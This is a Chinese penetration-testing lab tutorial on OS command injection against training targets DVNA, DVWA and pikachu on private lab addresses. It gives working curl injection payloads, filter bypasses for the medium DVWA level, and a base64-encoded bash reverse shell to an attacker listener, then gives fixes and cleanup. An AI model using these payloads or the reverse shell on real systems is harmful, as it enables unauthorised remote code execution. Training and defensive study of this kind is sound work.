目 录
一、原理:拼接出来的第二双眼睛
二、DVNA(8091):Node.js 上的 root RCE
2.1 回显级:ping 接口命令注入
2.2 交互级:反弹 shell
三、DVWA(8081):先看表单,再谈利用
3.1 Low 级:无任何过滤
3.2 Medium 级:黑名单过滤 &&
3.3 Impossible 级:正确写法长什么样
四、pikachu(8088)与 DVWA 提示框对照
五、防御视角与验收清场
5.1 修复建议
5.2 验收标准
5.3 清场
一、原理:拼接出来的第二双眼睛
命令注入与 SQL 注入同源:程序把用户输入直接拼进 shell 命令执行。典型场景如 ping 工具、文件处理、系统诊断页面。区别在于注入对象不是 SQL 解释器而是 shell,可用的连接符也更丰富:
连接符 | 语义 | 示例 |
; | 顺序执行(无论成败) | 127.0.0.1;id |
&& | 前成功才执行后 | 127.0.0.1 && cat /etc/passwd |
|| | 前失败才执行后 | 不存在的主机 || id |
| | 管道:前输出作后输入 | 127.0.0.1 | id |
反引号 / 命令替换 | 输出嵌入原命令 | `id` |
换行符 %0a | 新行新命令(过滤分号时用) | 127.0.0.1%0aid |
利用目标分两级:回显级(看命令输出)与交互级(反弹 shell,能执行任意命令)。本篇先打通回显级,再升级反弹 shell。
二、DVNA(8091):Node.js 上的 root RCE
DVNA 是 Node.js 技术栈的漏洞靶场。先解决一个登录坑:登录接口的参数名是 username,不是 login——字段名猜错只会收到 401,这是该靶场第一大坑。
curl -s -c /tmp/dvna.txt -X POST http://10.10.10.240:8091/app/login \
-d "username=pentest&password=pentest123" -o /dev/null -w "%{http_code}\n"
# 302 即登录成功(Cookie 存 /tmp/dvna.txt)
2.1 回显级:ping 接口命令注入
curl -s -b /tmp/dvna.txt http://10.10.10.240:8091/app/ping \
--data-urlencode "address=127.0.0.1;id" | grep -A2 PING
# 预期(实测):PING 127.0.0.1 ... 之后紧跟:
# uid=0(root) gid=0(root) groups=0(root)
回显解析:输出里混着 ping 自己的 PING/icmp_seq 行,grep -A2 或过滤 icmp_seq 即拿到干净结果。uid=0(root) 说明容器内 Web 进程就是 root——拿到的 shell 等于宿主容器全权。
2.2 交互级:反弹 shell
回显级只能「问一句答一句」,交互级才能翻目录、传文件、提权。反弹的完整三要素:目标主动出网(靶场容器内网可达攻击机)、攻击机监听、目标执行连接回命令。
# Kali(10.10.10.110)开监听
nc -lvnp 4444
# 目标侧注入(bash 无 /dev/tcp 替代方案):base64 绕空格与分词
curl -s -b /tmp/dvna.txt http://10.10.10.240:8091/app/ping \
--data-urlencode "address=127.0.0.1;echo YmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTEwLzQ0NDRcIiAwPiYx\\" \
--data-urlencode "a=|base64 -d|bash"
# payload 原文:echo <base64>|base64 -d|bash,其中 base64 内容为:
# bash -c "bash -i >& /dev/tcp/10.10.10.110/4444" 0>&1
Kali 侧收到连回后拿到 root shell,可自由 cat /etc/passwd、翻数据库配置。清场:退出交互 shell,或在靶场侧 kill 对应 nc/bash 进程(按 PID,见清场节)。
三、DVWA(8081):先看表单,再谈利用
DVWA 的 Command Injection 模块有个坑住无数新手的设计:表单是 POST 提交。用 GET 拼 payload 只会拿到一片空白页面,然后怀疑人生。正确顺序永远是先 grep 表单结构:
curl -s -b "PHPSESSID=你的会话; security=low" \
"http://10.10.10.240:8081/vulnerabilities/exec/" | grep -E "<form|name="
# 看到:<form action="#" method="post"> ... name="ip" ... name="Submit"
3.1 Low 级:无任何过滤
curl -s -b "PHPSESSID=你的会话; security=low" \
"http://10.10.10.240:8081/vulnerabilities/exec/" \
--data-urlencode "ip=127.0.0.1;id" --data-urlencode "Submit=Submit" | grep -E "uid="
# 预期(实测):uid=33(www-data) gid=33(www-data)
3.2 Medium 级:黑名单过滤 &&
Medium 把 && 与 ; 替换为空。绕过手法照表:用 | 管道(未过滤)或 & 单个(未过滤)。注意 | 会把 ping 的输出管道进去,回显里要先滤掉 ping 行:
curl -s -b "PHPSESSID=你的会话; security=medium" \
"http://10.10.10.240:8081/vulnerabilities/exec/" \
--data-urlencode "ip=127.0.0.1 |id" --data-urlencode "Submit=Submit" | grep -E "uid="
# 预期:uid=33(www-data)
3.3 Impossible 级:正确写法长什么样
Impossible 用 PHP 的 CSRF token 校验 + 参数拆分 + escapeshellarg() 白名单化输入——用户只能传「一个 IP」,其他一切字符都变成字面量。这就是命令注入的标准解法:不做黑名单过滤,而是让用户输入永远无法「跳出」参数位置。
四、pikachu(8088)与 DVWA 提示框对照
curl -s "http://10.10.10.240:8088/vul/rce/rce_ping.php" \
--data-urlencode "ipaddress=127.0.0.1;id" --data-urlencode "submit=ping" \
-b /tmp/pk.txt | grep -E "uid="
# 预期(实测):uid=33(www-data)
pikachu 的注入点是 POST 参数 ipaddress,形态与 DVWA 完全一致。三个靶场打完,命令注入的现场差异只剩「参数名」与「过滤黑名单」两处——方法论再次收敛:先看表单/接口参数(Burp 或 curl --data 猜测),再逐个连接符探测(; && || | 换行),最后按黑名单选未过滤的写法。
五、防御视角与验收清场
5.1 修复建议
- 首选:不用 shell。能调系统 API(如 Python 的 ping 库、Node 的 child_process.execFile 传数组)就不拼字符串。
- 必须拼时:escapeshellarg()/白名单正则(只允许 IP 格式字符),杜绝 ; | & 换行进入参数。
- 降权运行:Web 进程绝不用 root(DVNA 的 uid=0 教训),即使被注入也限死影响面。
- 容器环境:加 --read-only、drop capabilities、seccomp,让反弹 shell 拿到的也是个「笼子」。
5.2 验收标准
DVNA 回显级拿到 uid=0(root) 并成功反弹 shell;DVWA Low/Medium 都拿到 uid=33(www-data);pikachu 拿到 uid=33(www-data)。
5.3 清场
# 1) 找残留 nc/bash(若打过反弹 shell)
docker exec dvna sh -c "ps aux | grep -E "nc|bash -i" | grep -v grep"
# 2) 按 PID 杀(严禁 pkill -f,会连容器主进程一起带走)
docker exec dvna sh -c "kill -9 <PID>"
# 3) 攻击机侧关监听
# 直接 Ctrl+C 结束 nc -lvnp 4444
至此「注入三兄弟」(SQL/上传/命令)全部打通。下一篇补齐 Web 三件套的后半场:文件包含读源码、XSS 打浏览器、CSRF 冒充用户——同样是三个靶场对照实测。